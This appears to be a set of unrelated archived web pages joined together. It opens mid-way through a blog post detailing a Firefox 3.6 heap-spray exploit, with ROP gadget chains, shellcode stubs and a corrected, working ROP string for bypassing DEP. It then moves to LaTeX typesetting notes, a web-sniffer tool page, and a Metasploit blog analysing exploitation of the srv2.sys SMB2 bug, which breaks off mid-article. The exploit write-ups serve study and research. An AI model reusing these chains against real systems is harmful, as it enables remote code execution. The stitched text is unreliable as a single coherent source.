    1017f7e7 bc8891740d      mov     esp,0D749188h
    1017f7ec 33f6            xor     esi,esi
    1017f7ee 8937            mov     dword ptr [edi],esi
    1017f7f0 b802400080      mov     eax,80004002h
    1017f7f5 5e              pop     esi
    1017f7f6 c20400          ret     4
    
[/code]

On Firefox 3.6.8, the address is 0x1029b8a7, which points to the following
code:

[code]

    1029b8a7 bc5057e813      mov     esp,13E85750h
    1029b8ac c20600          ret     6
    
[/code]

and you get the idea. The first spray will fill the heap with a sequence of
bytes that becomes the stack after the vulnerability is triggered. For each
targeted version of Firefox, a different address is used for the spray,
followed by a ROP string specific to the Firefox version. These ROP strings
are derived from the corrensponding div in the HTML of the page with ID’s of
sun8, sun9, sun10, and sun11. Following the strings is the shellcode that will
be executed. For Firefox 3.6.9, 3.6.10, and 3.6.11, this spray fills the heap
with a retslide that will be followed until the ROP payload is hit. However,
for Firefox 3.6.8, which the spray seems carefully tuned to target, the bytes
being written are simply copies of 0x0d0d0d0d, and the start of the ROP string
will be written precisely in memory at the address that the stack will be
pointed to before executing the ret instruction, turning control over to the
ROP string.

For any of the Firefox versions; once the ROP string is hit by esp; it directs
the process to perform very similar instructions. For example; the
instructions for Firefox 3.6.11 are shown below. Note: the module based at
0×1000000 is xul.dll which was predictably loaded at this address \(in non-
ASLR OS’s\).

ROP string is held in:

u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEucda3u1000u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000

Translates to:

[code]

    10004bc8 //retn
    10004bc8 //retn
    10004bc8 //retn
    10004bc8 //retn
    10004bc8 //retn
    10004bc8 //retn
    10004bc7 //pop eax retn
    00000011 //NtAllocateVirtualMemory system call number for windows XP.
    1000827f //pop ebx retn
    7FFE0300 //address of mov edx,esp  sysenter ret in XP
    1000cda3 //jmp dword ptr [ebx]
    10006689 //add esp, 28   retn
    
    //argments for NtAllocateVirtualMemory
    DEADB333 //?
    FFFFFFFF //ProcessHandle, current process (NtCurrentProcess())
    0d7857A8 //*BaseAddress
    00000000 //ZeroBits
    0d7857A0 //RegionSize
    00001000 //MEM_COMMIT
    00000040 //PAGE_EXECUTE_READWRITE
    
    10004bc7 //pop eax retn
    00000001 //RegionSize points to here
    10004bc7 //pop eax retn
    00000000 //BaseAddress points to here
    
    //Now it copies some executable code to the RWX buffer
    
    100011a1 //pop ecx retn
    0FEB9090
    10073500 //mov [eax], ecx  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100011a1 //pop ecx retn
    18895B58
    10073500 //mov [eax], ecx  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100011a1 //pop ecx retn
    74FFFB83
    10073500 //mov [eax], ecx  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100011a1 //pop ecx retn
    04C0830B
    10073500 //mov [eax], ecx  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100011a1 //pop ecx retn
    E890F3EB
    10073500 //mov [eax], ecx  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100025df //inc eax  retn
    100011a1 //pop ecx retn
    FFFFFFEC
    10073500 //mov [eax], ecx  retn
    
    //Now it jumps to the code stub
    100011a1 //pop ecx retn
    0d7857A8
    1000827f //pop ebx retn
    0d7857A8
    1000cda3 //jmp dword ptr [ebx]
    
    code stub that was copied:
    00000000  90                nop
    00000001  90                nop
    00000002  EB0F              jmp short 0x13
    00000004  58                pop eax
    00000005  5B                pop ebx
    00000006  8918              mov [eax],ebx
    00000008  83FBFF            cmp ebx,byte -0x1
    0000000B  740B              jz 0x18
    0000000D  83C004            add eax,byte +0x4
    00000010  EBF3              jmp short 0x5
    00000012  90                nop
    00000013  E8ECFFFFFF        call dword 0x4
    
[/code]

which copies the shellcode after the ropstring to the RWX allocation until it
hits a 0xFFFFFFFF; then jumps to the shellcode.

At least, that seems to be how it is supposed to work. In reality; it is easy
to miss, but the instruction at 0x1000cda3 is jmp dword ptr \[ebx\] but the
address of the system call is actually stored in ebx; not what ebx points to.
So it should be replaced with the address to a jmp ebx instruction \(for
example, at 0x102138d2\) or the exploit will completely fail, which is what I
experienced. All of this makes me seriously question the version of the
exploit posted to exploit-db. It doesn’t make sense to me why it even exists.
The rest of the instructions couldn’t have been written or at least couldn’t
have been tested unless the jmp ebx instruction was correct. Did someone
tamper with the exploit before it was submitted? What was the original? Maybe
I just won’t know. The exploit-db maintainers didn’t either.

With the address fix, a functional rop string is
“u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEu38d2u1021u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000″

and replacing the existing shellcode with Metasploit shellcode to execute
calc, I had no problem getting code execution on Windows XP. But this was an
exercise in learning, and I wanted code execution in other Windows versions,
specifically Windows Server 2003. Therefore, I needed to eliminate the hard-
coded system call number and I wanted to eliminate the hard-coded addresses
outside xul.dll in the ROP string for when the ntdll version was different. So
I put together strings for each of the Firefox versions based on an import to
VirtualAlloc in xul.dll to launch the shellcode. For example, for Firefox
3.6.11, it uses the following addresses:

[code]

    10004bc8 //retn
    100083ca //pop eax retn
    10830280 //VirtualAlloc import at this address
    
    10003b5a  // mov eax, [eax]  ret
    100a8ef4  // jmp eax
    10004bc8  // ret
    
    //argments for VirtualAlloc
    00000000      //lpAddress
    00001000      //dwSize
    00001000      //flAllocationType = MEM_COMMIT
    00000040      //flProtect = PAGE_EXECUTE_READWRITE
    
[/code]

and the rest continues like the original exploit; copying code over to the new
allocation before ending in a jmp eax at 100a8ef4.

Now I had a functional exploit bypassing DEP for Windows XP, Windows Server
2003, and probably any other Windows version without ASLR, and it just felt
better than the original. So I put the code into a template I copied from
another browser exploit, added information about CVE, disclosure date, etc.,
configured javascript obfuscation, and committed to metasploit. The OCD part
of me wants to clean up some of the javascript; but it works.

Unfortunately, since Firefox 3.6.4 or so, ASLR support has been added to the
Firefox DLL’s so it doesn’t work on Vista or later. Information I could find
on bypassing DEP and ASLR from previous work either requires another exploit
or incorporates addons like Flash or Java. But those have generally been moved
to a separate process, so DEP + ASLR bypass will have to wait for the next
blog post.

ASLR, DEP, dll, exploit, exploit-db, firefox, Metasploit, Nobel, Peace Prize,
retslide, reverse engineering, rop, stack pivot

This entry was posted on June 28, 2011, 11:37 pm and is filed under Exploits,
Metasploit. You can follow any responses to this entry through RSS 2.0. You
can leave a response, or trackback from your own site.

# LaTeX Usage Notes

**Created:**| _3/23/2012 12:09:04 PM_  
---|---  
**Updated:**| _3/23/2012 12:09:04 PM_  
**Author:**| __  
**Tags:**| _Latex_  
  

# LaTeX Usage Notes

* * *
The TeX, LaTeX, and Bibtex toolchain is hard to use well. Papers often
demonstrate problems that are easy to fix once you know how. This page lists
some common LaTeX problems, with fixes, indexed by mnemonic for quick
reference.

dash · extraspace · footnote · frenchspace · hyphen · mathptmx · mathunit ·
mathvar · mid · namefont · negative · ordinal · quote · range · refcap ·
refnoun · thousands

* * *
dash

    
Typeset parenthetical dashes either as en dashes with word space, or as em
dashes without word space. Don’t put spaces around em dashes. Either dash
style is fine, but by all means be consistent.

✔|

[code]

    This style -- spaced en dashes -- looks great, and is common in Europe.
[/code]

|

[code]

    This style – spaced en dashes – looks great, and is common in Europe.
[/code]  
---|---|---  
✔|

[code]

    This style---unspaced em dashes---looks great, and is common in America.
[/code]

|

[code]

    This style—unspaced em dashes—looks great, and is common in America.
[/code]  
✔|

[code]

    Use TeX comments---which hide space---%
         when breaking lines after em dashes.
[/code]

|

[code]

    Use TeX comments—which hide space—when breaking lines after em dashes.
[/code]  
X|

[code]

    This style --- spaced em dashes --- goes too far. Avoid it.
[/code]

|

[code]

    This style — spaced em dashes — goes too far. Avoid it.
[/code]  
X|

[code]

    Hyphens - like these - are not dashes.
[/code]

|

[code]

    Hyphens - like these - are not dashes.
[/code]  
X|

[code]

    Yes---you contain multitudes -- but pick \emph{one} dash style.
[/code]

|

[code]

    Yes—you contain multitudes – but pick _one_ dash style.
[/code]  
X|

[code]

    En dashes require space on both sides-- so that was wrong.
[/code]

|

[code]

    En dashes require space on both sides– so that was wrong.
[/code]  
extraspace

    
TeX’s non-breaking space character, `~`, should _replace_ a normal space.
Don’t use it _in addition to_ a normal space or you’ll get extraneous extra
space in the output. This problem is common around citations and section
references.

X|

[code]

    Zebras occur in the Serengeti ~\cite{zebras} and elsewhere ~\cite{otherzebras}.
[/code]

|

[code]

    Zebras occur in the Serengeti   [1] and elsewhere   [2].
[/code]  
---|---|---  
✔|

[code]

    Zebras occur in the Serengeti~\cite{zebras} and elsewhere~\cite{otherzebras}.
[/code]

|

[code]

    Zebras occur in the Serengeti [1] and elsewhere [2].
[/code]  
footnote

    
Footnote and endnote markers should appear without space and after
punctuation.

X|

[code]

    We see~\footnote{Or hear.} the problems here\footnote{Or there}.
[/code]

|

[code]

    We see 1 the problems here2.
[/code]  
---|---|---  
✔|

[code]

    We saw\footnote{Or heard.} the problems there.\footnote{Not here.}
[/code]

|

[code]

    We saw1 the problems there.2
[/code]  
✔|

[code]

    TeX comments hide space, which can be useful.%
         \footnote{This TeX source looks better.}
[/code]

|

[code]

    TeX comments hide space, which can be useful.3
[/code]  
Here’s _The Chicago Manual of Style_ \(15th edition\):

> **16.30** _Placement of number._ A note number should be placed at the end
> of a sentence or at the end of a clause. The number follows any punctuation
> mark except for the dash, which it precedes. It follows a closing
> parenthesis.
The _Manual_ sets its footnote numbers without spaces.

Jan Tschichold, probably the 20th century’s greatest typographer, recommends
setting footnotes off with a very thin space. In “Typesetting Superscript
Numbers and Footnotes” \(in _The Form of the Book_ , translated by Hajo
Hadeler\), he writes “Good typesetting demands a hairspace between superscript
and word; otherwise the number doesn’t stand out.” But a hair space is _less
than half_ the width of a word space. It’s so small that TeX doesn’t offer a
control sequence by default. \(The thin space command `\,` produces a space
about 2/3 the width of a Times Roman word space.\) To produce a hair space you
could redefine `\thefootnote`, or add a new command like this:

[code]

    \newcommand{\Hair}{\ifmmode\mskip1mu\else\kern0.08em\fi}
    Hello.\Hair\footnote{Whatever}
    
[/code]

|

[code]

    Hello. 3
    
[/code]  
---|---  
But this is a pain to type. Unspaced footnotes aren’t a pain to type, and they
look fine—miles better than word-spaced footnotes.

\(The opening line in Tschichold’s footnote essay is “To begin with, let us
enumerate what is repulsive and therefore wrong.” Think about getting _that_
in a review\!\)

frenchspace

    
Add `\frenchspacing` to your document prelude, like this:

[code]

    \documentclass...
    \usepackage...
    \frenchspacing
    \begin{document}
    
[/code]

This will stop adding extra space between sentences.

Why? There’s an aesthetic reason and a pragmatic reason. Aesthetics first:
Professionally typeset documents in English almost always use a normal word
space between sentences. Here is Robert Bringhurst in _The Elements of
Typographic Style_:

> 2.1.4  _Use a single word space between sentences._
> In the nineteenth century, which was a dark and inflationary age in
> typography and type design, many compositors were encouraged to stuff extra
> space between sentences. … Your typing as well as your typesetting will
> benefit from unlearning this quaint Victorian habit.
Here is _The Chicago Manual of Style_ \(15th edition\):

> **6.11** _Space between sentences._ In typeset matter, one space, not two
> \(in other words, a regular word space\), follows any mark of punctuation
> that ends a sentence….
Here is Geoffrey Dowding in _Finer Points in the Spacing & Arrangement of
Type_:

> Frequently an unnecessarily large amount of space in inserted either before
> or after—and sometimes on both sides of—marks of punctuation. For instance,
> it is customary to find far too much space _after_ full points in text
> settings of all kinds. In some houses an en or em quad seems to be the rule.
> If the spacing after each point approximates to that of the remainder of the
> setting it will be ample. \(p29\)
Here is Jan Tschichold in _Asymmetric Typography_ :

> The space after a full point should normally be the regular word space of
> the line. Em spaces, last remnant of the degenerate typography of the second
> half of the nineteenth century, break up the appearance of the page and
> should not be tolerated. \(p36\)
And here is Farhad Manjoo’s article “Space Invaders: Why you should never,
ever use two spaces after a period.”

Now, the pragmatic reason. However you feel about the aesthetics, authors
often omit the magic incantations that teach TeX about sentences. For
instance, here are some examples without `\frenchspacing`. The typeset spacing
is exaggerated, as might happen in a loose line.

[code]

     1. This is a normal sentence. LaTeX gets it ``right.''
    X 2. Certain situations, e.g. abbreviations, go wrong.
     3. Control sequences, e.g.\ that, help.
    X 4. Talk to USENIX. Whoops, no extra space because capital.
     5. Talk to USENIX\@. That's better.
    
[/code]

|

[code]

    1. This is a normal sentence.    LaTeX gets it “right.”
    2. Certain situations, e.g.    abbreviations, go wrong.
    3. Control sequences, e.g. that, help.
    4. Talk to USENIX. Whoops, no extra space because capital.
    5. Talk to USENIX.    That’s better.
    
[/code]  
---|---  
Lines 2 and 4 are ugly bugs that violate the spacing rule. If you leave extra
space after sentences, you _must_ add control sequences to fix the bugs. But
why bother? Use `\frenchspacing` and the bugs vanish.

\(`\frenchspacing` should be the default, but many of Knuth’s typographic
choices are odd.\)

hyphen

    
Hyphens are sometimes used in English to join words that function as a
compound adjective:

[code]

    ✔ She’s got the seven-year itch.
    
[/code]

But writers often overhyphenate. One common mistake is to hyphenate words that
aren’t functioning as a compound:

[code]

    ✔ The memory-local store is more efficient.
    X The efficient store has better memory-locality.
    ✔ The efficient store has better memory locality.
    
[/code]

In the first example, “memory-local” is a compound adjective modifying
“store.” The hyphen resolves the ambiguity between “the local store with
memory” and “the store with local memory” in favor of the latter. \(Compare
“third uncached block,” in which “third” clearly modifies “uncached block”; no
ambiguity means no hyphen.\) But in the second example, “memory locality”
isn’t a compound noun, it’s an adjective \(“memory”\) modifying a noun
\(“locality”\). The hyphen is inappropriate: hyphens never join words
functioning in the sentence as distinct parts of speech. Also, compound nouns
in English, such as “sleepwalker” or “moneybags,” are more often joined than
hyphenated.

The rules for hyphenating compound adjectives are complex and good writers
differ on their application. For common phrases, check a dictionary; for rarer
phrases, at least avoid grammatical mistakes. Often rewriting is best: too
many compounds can hinder understanding.

Hyphens should not be used as punctuation dashes \(see dash\), range dashes
\(range\), or minus signs \(negative\).

mathptmx

    
Add `\usepackage{mathptmx}` to the preamble of papers written in Times Roman
fonts.

Most conferences now prefer papers typeset in Times Roman or Times New Roman.
Unfortunately, characters in TeX’s math mode continue using the default
Computer Modern fonts, leading to ugly clashes like this \(note the font
changes\):

[code]

    The 2nd number is \(2\).
    For integers, \textit{any} \(y\) can be expressed as \(2z\) or \(2z+1\).
    
[/code]

|

[code]

    The 2nd number is 2.
    For integers, _any_ _y_ can be expressed as 2 _z_ or 2 _z_ + 1.
    
[/code]  
---|---  
The `mathptmx` package tells TeX to typeset math mode characters in Times-
compatible fonts, which looks much better. \(Of course, if your whole document
is in Computer Modern, leave the math mode fonts as they are.\)

mathunit

    
Use the `\text` command \(available from the `amsmath` package:
`\usepackage{amsmath}`\) for units in mathematical equations.

X|

[code]

    Our disk holds \(40TB\) of data.
[/code]

|

[code]

    Our disk holds 40 _TB_ of data.
[/code]  
---|---|---  
✔|

[code]

    Our disk holds \(40~\text{TB}\) of data.
[/code]

|

[code]

    Our disk holds 40 TB of data.
[/code]  
✔|

[code]

    Our disk holds \(40\,\text{TB}\) of data (thin spaces look good).
[/code]

|

[code]

    Our disk holds 40 TB of data (thin spaces look good).
[/code]  
mathvar

    
Use `\textit` in math mode for multi-letter variables.

Computer scientists commonly give variables multi-letter names. This salutary
trend causes problems in math mode, where TeX adds extra space around each
letter. The spaces are particularly visible on letters with ascenders and/or
descenders, like _f_ , _l_ , and capitals. A \(slightly\) exaggerated example:

[code]

    X \(x.fwd.link.prev \gets y\)
    X \(SD = 10\)
    
[/code]

|

[code]

    _x. f wd .l ink . prev_ ← _y_
    _S D_ = 10
    
[/code]  
---|---  
The reason is that TeX’s math-mode italic differs from its regular italic in
subtle, mostly-useless ways. Enclose multi-letter words in `\textit` to solve
the problem:

[code]

    ✔ \(x.\textit{fwd}.\textit{link}.\textit{prev} \gets y\)
     \newcommand{\V}[1]{\textit{#1}}
    ✔ \(x.\V{fwd}.\V{link}.\V{prev} \gets y\)
    ✔ \(\V{SD} = 10\)
    
[/code]

|

[code]

    _x.fwd.link.prev_ ← _y_
    
    _x.fwd.link.prev_ ← _y_
    _SD_ = 10
    
[/code]  
---|---  
These images show how LaTeX typesets the “wrong” and “right” examples in
Computer Modern and Times fonts—not as dramatic, but still bad, especially
around the _f_ :

<img src='img/Temp2_4824.png' alt='Math italic example' /> |  <img src='img/Temp2_4825.png' alt='Math italic example' />  
---|---  
mid

    
Type vertical bars as `|` for absolute values, but as `\mid` for set
comprehensions. `\mid` adds required spacing.

[code]

    X \(S = \{x | |x| < 5\}\)
    ✔ \(S = \{x \mid |x| < 5\}\)
    
[/code]

|

[code]

    _S_ = {_x_ ||_x_ | < 5}
    _S_ = {_x_ | |_x_ | < 5}
    
[/code]  
---|---  
namefont

    
Pick up a religious text of your choice, in Latin script, and find the name of
a deity. How’s it printed? Perhaps in ALL CAPITALS, perhaps in Caps and Small
Caps, but I bet it’s not in a Different Font. Frequent font changes would look
silly and distract from the message of the text.

What’s good enough for deities is good enough for you. Use the main body font
for the name of your system.

[code]

    X Our system is called DONGULATOR.
    ✔ Our system is called DONGULATOR.
    
[/code]  
---  
It is best to use the main body font for everything, except possibly code
fragments \(where typewriter text is acceptable\). Even _italics_ can be
distracting; default to roman, with caps or small caps if you really must.

[code]

    X The _Dongulator_ server speaks _Dongulation_ over TCP/IP to _DONGLE_ clients.
    ✔ The Dongulator server speaks Dongulation over TCP/IP to DONGLE clients.
    
[/code]  
---  
negative

    
Typeset negative numbers in math mode. This will give them the proper minus
signs they deserve. Hyphens are too short.

[code]

    X Pick a number between -1 and 1. Yuck.
    ✔ Pick a number between \(-1\) and 1. Good!
    
[/code]

|

[code]

    Pick a number between -1 and 1. Yuck.
    Pick a number between −1 and 1. Good!
    
[/code]  
---|---  
ordinal

    
Typeset ordinal suffixes in normal Roman text, not italics or superscripts.

[code]

    X Invert the \(1^{st}\) through \(i^{th}\) elements.
    ✔ Invert the 1st through \(i\)th elements.
    
[/code]

|

[code]

    Invert the 1 _st_ through _i_ _th_ elements.
    Invert the 1st through _i_ th elements.
    
[/code]  
---|---  
Style guides like _The Chicago Manual of Style_ agree that ordinal suffixes
belong in normal text.

If you feel strongly about superscript ordinals, at least put them in the body
font \(see mathptmx\) and in Roman. \(The `amsmath` package provides the
useful `\text` command.\)

[code]

      Invert the \(1^\text{st}\) through \(i^\text{th}\) elements.
    
[/code]

|

[code]

    Invert the 1st through _i_ th elements.
    
[/code]  
---|---  
quote

    
Most occurrences of the double-quote character `"` in LaTeX text are bugs. TeX
wants quotes written ```like this''`: doubled ``` characters for open quotes
and doubled `'` straight apostrophes for close quotes.

[code]

    X "This looks bad when typeset," said Betty. "Weird."
    ✔ ``This'll look better, `Babe,'{}'' said Tyrone.
    
[/code]

|

[code]

    ”This looks bad when typeset,” said Betty. ”Weird.”
    “This’ll look better, ‘Babe,’” said Tyrone.
    
[/code]  
---|---  
Only use the `"` character in typewriter font or other special situations.

range

    
Numeric ranges require unspaced en dashes, not hyphens \(which are too
short\), minus signs \(which are too long, too spaced, and semantically
wrong\), or ellipses. Or just use English prepositions.

X|

[code]

    Lines 1-3 present our results.
[/code]

|

[code]

    Lines 1-3 present our results.
[/code]  
---|---|---  
X|

[code]

    Lines \(1-3\) present our results.
[/code]

|

[code]

    Lines 1 − 3 present our results.
[/code]  
X|

[code]

    Lines 1..3 present our results.
[/code]

|

[code]

    Lines 1..3 present our results.
[/code]  
X|

[code]

    Lines 1 -- 3 present our results.
[/code]

|

[code]

    Lines 1 – 3 present our results.
[/code]  
✔|

[code]

    Lines 1--3 present our results.
[/code]

|

[code]

    Lines 1–3 present our results.
[/code]  
✔|

[code]

    Lines 1 to~3 present our results.
[/code]

|

[code]

    Lines 1 to 3 present our results.
[/code]  
refcap

    
Fix reference capitalization errors with braces. The Bibtex reference
processor ignores user capitalization in paper titles. For example, a Bibtex
entry like this:

[code]

    X @inproceedings{... title = "Improving NFA-based signature matching" ...}
    
[/code]

might appear like this:

[code]

    [48] ... Improving nfa-based signature matching ...
    
[/code]

Note the lowercase “nfa”: not what you want. Add extra braces and Bibtex will
obey your capitalization.

[code]

    ✔ @inproceedings{... title = "Improving {NFA}-based signature matching" ...}
    
[/code]

refnoun

    
References are not nouns. They are invisible as parts of speech: when reading
a paper out loud, you wouldn’t read the reference numbers. \(Mary-Claire van
Leunen’s _A Handbook for Scholars_ is eloquent on this.\) So don’t say:

[code]

    X In [15] modern disk drives are shown to be effective.
    X [1] applies cache-aware algorithms to binary search trees.
    
[/code]

Reword the sentences, for instance to name the authors.

[code]

    ✔ Modern disk drives are effective [15].
    ✔ Cormen et al. [1] apply cache-aware algorithms to binary search trees.
    
[/code]

Some sentences are difficult to reword, but at least _try_ to avoid
references-as-nouns. Beginning a sentence with a reference is particularly
egregious.

thousands

    
Commas that group digits in large numbers must not be spaced. This takes some
effort in math mode: use braces or TeX will treat the commas like argument
separators.

[code]

    ✔ That cost \$2,000,000.
    X That cost \(\$2,000,000\).
    ✔ That cost \(\$2{,}000{,}000\).
    
[/code]

|

[code]

    That cost $2,000,000.
    That cost $2, 000, 000.
    That cost $2,000,000.
    
[/code]  
---|---

# View HTTP Request and Response Header

**Created:**| _9/3/2009 9:59:14 AM_  
---|---  
**Updated:**| _9/3/2009 9:59:21 AM_  
**Author:**| __  
**Tags:**| _bookmark web_  
  

<img src='img/Temp2_8884.png' width='16' height='10' /> Web-Sniffer 1.0.29 by
Lingo4you - Sprachen Online Lernen

Webtip: Learn English on English Grammar Online

# View HTTP Request and Response Header

For more information on HTTP see **RFC 2616**

**HTTP\(S\)-URL:** \(IDN allowed\)

HTTP version: HTTP/1.1 HTTP/1.0 \(with Host header\) HTTP/1.0 \(without Host
header\)

Raw HTML view Accept-Encoding: gzip • Request type: GET POST HEAD TRACE

User agent: Web-SnifferInternet Explorer 6Internet Explorer 7Netscape 4.8Opera
9.2Firefox 2 \(Mac\)Safari 3Googlebotnoneyour user agent

## Fetures:

  * list of user agents
  * switch between HTTP/1.1 and HTTP/1.0
  * test If-Modified-Since and If-Match headers
  * support WWW-Authenticate
  * search engine redirect added – all bots will be moved permanently to frontpage
  * the URL may also be an Internationalized Domain Names \(IDN\)
  * secure connections \(HTTPS\) allowed

## See also:

  * RFC 2616 - Hypertext Transfer Protocol \(HTTP\)
  * RFC 3490 - Internationalizing Domain Names in Applications \(IDNA\)

  *[HTTP]: HyperText Transfer Protocol
  *[RFC]: Request for Comment
  *[IDN]: Internationalized Domain Names
  *[HTML]: HyperText Markup Language
  *[URL]: Uniform Resource Locator

# Metasploit: SMB2: 351 Packets from the Trampoline

**Created:**| _10/5/2009 7:36:04 PM_  
---|---  
**Updated:**| _10/5/2009 7:36:57 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing Metasploit programming_  
  
SMB2: 351 Packets from the Trampoline  
This a guest blog entry written by Piotr Bania .  
  
**Disclaimer**  
The author takes no responsibility for any actions taken using the provided
information or code. This article is copyright \(C\) 2009 Piotr Bania, all
rights reserved. Any duplication of code or text provided here in electronic
or printed publications is not permitted without the author's agreement.  
  
**Prologue**  
About a month ago Laurent Gaffié released an advisory in which he described
the SMB 2.0 NEGOTIATE PROTOCOL REQUEST Remote BSoD vulnerability. Fortunately
for some and unfortunately for others this vulnerability is remotely
exploitable. At the time of writing, there are only two exploits available for
this flaw, one written by Immunity Inc., which only provides a copy to paying
customers, and one written by Stephen Fewer and included in the Metasploit
Framework. Unfortunately, Stephen Fewer's exploit seems to be unreliable
against physical machines \(vs VMs\) due to a hardcoded address from the
BIOS/HAL memory region \(0xFFD00D09\) which must be initiated to "POP ESI;
RET". In this article I am going to describe a method for exploiting this
vulnerability that only requires a stable absolute memory address \(filled
with NULL bytes\).  
  
**Step One. Where to?**  
First, lets take a look at the vulnerable code, we will assume a Windows Vista
SP2 operating system and SRV2.SYS version 6.0.6002.18005:

<img src='img/Temp2_5323.png' width='665' height='162' />

At offset 0x000056B3 EAX is initialized with a word from \[ESI+0Ch\]. The
\[ESI+0Ch\] location points to the SMB2 packet, giving the attacker complete
control on the lower 16 bits of the EAX register \(AX\). In the next
instruction \(0x000056B7\) our controlled EAX is used as an array index. There
is only one safety check on this value that verifies that
\*\(DWORD\*\)ValidateRoutines\[EAX\*4\] is not NULL. This is the cause of this
vulnerability, since there is no check to determine if the EAX value \(array
index\) exceeds the number of elements in the ValidateRoutines array. Further
in the code, the location pointed to by ValidateRoutines\[EAX\*4\] is executed
by the "call EAX" instruction \(0x000056CA\).

  

In summary, we can redirect execution to any location \(as long as it is not
null\) from ValidateRoutines to \(ValidateRoutines + \(0xFFFF \* 4\)\). This
gives us about 2^16 potential memory locations to check. this is not
completely accurate, since we cannot assume that any memory location outside
the SRV2.SYS address space will be consistent across mul;tiple machines
\(device driver ImageBase addresses change on every boot\). To make my life
less miserable, I wrote a little program that dumps the SRV2.SYS address space
from system memory, then disassembles every potential region that can be
reached through ValidateRoutines\[INDEX\*4\]. Additionally, I set some
boundaries that ensure we are operating only on the SRV2.SYS address space.
Here are the results I have obtained:

  

  

  

I must confess that I was confused at first, not because of the results
obtained, but due to the Immunity exploit video that was released. In this
video, they stated that exploitation is based on on time values. This led me
to focus on any function that manipulated time values. I noticed that the
SrvBalanceCredits function \(index 0x31, 0x4b7\) can be used to modify the
CurrentTime structure \(0x0001D320\), which can then be used again later as
the memory address for a "call EAX". However, since KeQuerySystemTime returns
the time as a count of 100-nanosecond intervals since January 1, 1601 and the
system time is typically updated approximately every ten milliseconds, it is
very unlikely to use this as reliable offset. An alternative would be to use
the BootTime variable and reboot the machine to reset it, however my results
were still not satisfying \(the BootTime and CurrentTime values are both
returned as part of a normal SMB2 NEGOTIATE\_RESPONSE packet, so it is
possible to query these remotely\).

  

I decided that the time approach was a dead end and that it was time to start
over from scratch and never watch Immunity videos again :-\) After leaving the
time approach I decided to look into the functions that would corrupt the
stack by using a accepting a different number of arguments than the original
function. The following indexes showed the most promise: 0x217
\(srv2\!SrvSnapShotScavengerTimer\), 0x237 \(srv2\!SrvScavengerTimer\), 0x1e3
\(srv2\!SrvScavengeDurableHandlesTimer\), and 0x1bb
\(srv2\!SrvProcessOplockBreakTimer\). Stephen Fewer's exploit uses the 0x217
\(srv2\!SrvSnapShotScavengerTimer\) as a index value. All four of those
indexes have something in common:

<img src='img/Temp2_5322.png' width='665' height='441' />

Each of those functions ends with a "ret 10h", indicating the function expects
four arguments, and will adjust the stack to account for those when it
returns. To see how this helps us, lets take one more look at the vulnerable
code:

<img src='img/Temp2_5325.png' width='665' height='187' />

As you can see, the procedure pointed to by EAX is called \(0x000056CA\) with
one argument on the stack \(see 0x000056C9 - PUSH EBX\). SRV2.SYS assumes that
the called function is using the stdcall convention \(callee is responsible
for cleanup of the stack\). Since we forced EAX to point to one of the "ret
10" functions, the callee will clean the stack, but adjust it for for four
parameters, not just the single parameter that was passed in \(0x10=16 ->
16/4=4\). How does this influence the execution flow? Take a look:<img
src='img/Temp2_5326.png' />

The first "d ESP" command shows the stack before the "CALL EAX" \(where EAX
points to on of the "ret 10" procedures\). The second "d ESP" shows the stack
after the "ret 10" function was executed. The important part is when the "POP
ESI" \(0x000056D0\) instruction is executed, it will be exchanged with the
pointer to our SMB packet \(see "d poi\(esp+4\)"\) -- this will bring us some
serious kudos later. Additionally, even if at the moment the stack pointer is
invalid \(because we haxored it\) it will be reinitialized correctly by the
instruction at 0x000056D9. As you probably know, the LEAVE instruction \(also
called High Level Procedure Exit\), sets the ESP to EBP and pops EBP. In other
words, despite the fact we have mangled the stack and forced ESI to point to
our packed data, ESP will be "good" again. That is important, since otherwise
it would cause an exception when executing the "ret 4". Lets assume we used
0x237 \(srv2\!SrvScavengerTimer\) as an index, after few instructions we land
here:

<img src='img/Temp2_5327.png' width='665' height='130' />

As you can see, ESI still points to our packet. The instruction at 0x0001FAB1
\(setnl cl\) is also a key factor in the way I have chosen to exploit this,
since the setnl result depends on the value our called "faked function", which
is why a function like 0x1e3 \(srv2\!SrvScavengeDurableHandlesTimer\) will not
work\), since the CL register must be 1 before the PUSH ecx is executed. This
will be discussed later.

  

**Step Two. Mum I want a Trampoline\!**

